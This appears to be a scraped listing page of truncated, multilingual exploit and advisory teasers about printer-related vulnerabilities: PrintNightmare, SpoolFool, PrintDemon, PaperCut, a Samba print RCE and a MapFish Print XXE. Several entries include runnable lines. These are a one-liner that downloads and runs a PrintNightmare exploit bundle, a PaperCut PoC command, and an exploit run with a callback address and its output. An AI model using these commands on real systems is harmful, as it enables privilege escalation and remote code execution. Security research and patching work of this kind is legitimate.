SpoolFool

SpoolFool Exploit para CVE-2022-21999 - Vulnerabilidad de Elevación de Privilegios del Print Spooler de Windows LPE Detalles El exploit proporcionado debería funcionar por defecto en todas las versiones de escritorio de Windows. Consulte la publicación del blog para obtener todos los detalles...

CVE-2021-1675

CVE-2021-1675 / CVE-2021-34527 Impacket 对 PrintNightmare PoC 的实现，该 PoC 最初由 Zhiniang Peng @edwardzpeng 和 Xuefeng Li @lxf02942370 创建。 已在完全修补的 2019 域控制器上测试。 远程或本地执行恶意 DLL。 补丁更新 微软已发布补丁以缓解这些攻击，但如果机器上存在以下值，则该机器仍然容易受到攻击： root@kitploit: REG QUERY "HKLM\Software\Policies\Microsoft\Windows...

PrintNightmare

Vulnerabilidad de seguridad crítica PrintNightmare CVE-2021-1675, CVE-2021-34527 Actualmente no hay solución de Microsoft estado: 02.07.2021 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527 Afecta a todas las versiones del sistema operativo servidor y cliente Opciones Desactiv...

CVE-2026-81280

Subscriber Sensitive Data Exposure in Print Barcode Labels for your WooCommerce products/orders = 4.0.0 versions...

CVE-2026-81280

Print Barcode Labels for your WooCommerce products/orders is a WordPress plugin vulnerable to Sensitive Data Exposure in versions 4.0.0 and below . The vulnerability requires Subscriber-level privileges (low) and can be exploited over the network with low complexity and no user interaction, resul...

EUVD-2026-68776

Subscriber Sensitive Data Exposure in Print Barcode Labels for your WooCommerce products/orders = 4.0.0 versions...

CVE-2026-81280 WordPress Print Barcode Labels for your WooCommerce products/orders plugin <= 4.0.0 - Sensitive Data Exposure vulnerability

Subscriber Sensitive Data Exposure in Print Barcode Labels for your WooCommerce products/orders = 4.0.0 versions...

microsoft-cve-2021-1675

!IMPORTANT "Этот репозиторий теперь в режиме 'Blue Screen' — он архивирован и заморожен во времени!" Microsoft-CVE-2021-1675 Я создал небольшой проект на C, который эксплуатирует уязвимость CVE-2021-1675. Для получения дополнительной информации о CVE-2021-1675, пожалуйста, ознакомьтесь с моей...

printDemon2system

printDemon2system CVE-2020-1048 Escalada de privilegios de PrintDemon a SYSTEM PrintDemon era una vulnerabilidad lógica en el servicio Windows Print Spooler spoolsv.exe. La vulnerabilidad residía en la forma en que el spooler manejaba los trabajos de impresión a archivos y, al ser explotada,...

CVE-2023-27350

CVE-2023-27350 影响 PaperCut MF/NG 的 CVE-2023-27350 的 POC 受影响的版本 'PaperCut MF 或 NG 版本 8.0 及以上（不包括已修补版本），适用于所有操作系统平台。' 摘要 此 POC 利用身份验证绕过漏洞，结合滥用内置脚本功能来执行代码。 Usage root@kitploit: python3 CVE-2023-27350.py --url 'http://10.0.40.56:9191' --command calc.exe Papercut instance is vulnerable! Obtained valid...

PNCVE-Win10-20H2-Exploit

PrintNightmare-CVE-Win10-20H2-Exploit Para ejecutar este exploit en Windows: Ejecuta este oneliner: curl https://raw.githubusercontent.com/peckre/PNCVE-Win10-20H2-Exploit/main/Win10Exploit.zip -o Win10Exploit.zip & tar -xf Win10Exploit.zip & run.bat NOTA: Esto solo funcionará una vez por reinicio...

PrintNightmare-Patcher

简介 PrintNightmare-Patcher，一个简单的工具，用于解决 Windows 机器上打印后台处理程序服务出现的 PrintNightmare 漏洞 CVE-2021-34527。此外，它还检查您的系统是否已安装相关的安全更新。 安装 root@kitploit: git clone https://github.com/0xirison/PrintNightmare-Patcher.git 用法 root@kitploit: python printnightmare-patcher.py 依赖 无需依赖 功能 检查 Windows 系统是否易受 PrintNightma...

CVE-2026-4480

Exploit ausführen: root@kitploit: python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload...

CVE-2021-34527

CVE-2021-34527 CVE-2021-34527 è una vulnerabilità critica di esecuzione di codice in remoto e di escalation dei privilegi locali soprannominata "PrintNightmare". Sono stati rilasciati exploit proof-of-concept Python, C++ per la capacità di esecuzione di codice in remoto e una versione C per...

CVE-2026-4480

🚨 CVE-2026-4480 - Esecuzione Remota di Codice Critica nel Sottosistema di Stampa di Samba Esecuzione Remota di Codice RCE Vulnerabilità di Iniezione di Comandi di Stampa in Samba "Un singolo nome di job di stampa non dovrebbe mai diventare un comando shell." 📖 Panoramica CVE-2026-4480 è una...

CVE-2026-55848

creationtimestamp| type| source ---|---|--- 2026-08-29 00:00:50+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mu6l3ivivh26 2026-08-29 00:35:05+00:00| published-proof-of-concept| https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r 2026-08-29...

CVE-2026-55848

mapfish-print is a component of MapFish for printing templated cartographic maps. Prior to 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5, MapFish Print accepts an attacker-controlled GML layer url in requests to the /api/print3/print endpoint and fetches XML parsed by...

CVE-2025-69216

CVE-2025-69216: OpenSTAManager hat eine SQL-Injection in der Scadenzario-Druckvorlage Überblick...

MapFish Print has XXE that allows reading arbitrary files of certain types

Summary XXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs. https://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507 Details To trigger the XXE it is required to host a remote script and dtd file. When using...

CVE-2026-55848

MapFish Print (a component of the MapFish cartographic printing platform) is vulnerable to XML External Entity (XXE) injection in versions prior to 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5. The vulnerability exists in the /api/print3/print endpoint, where an attacker-controlled GML layer URL...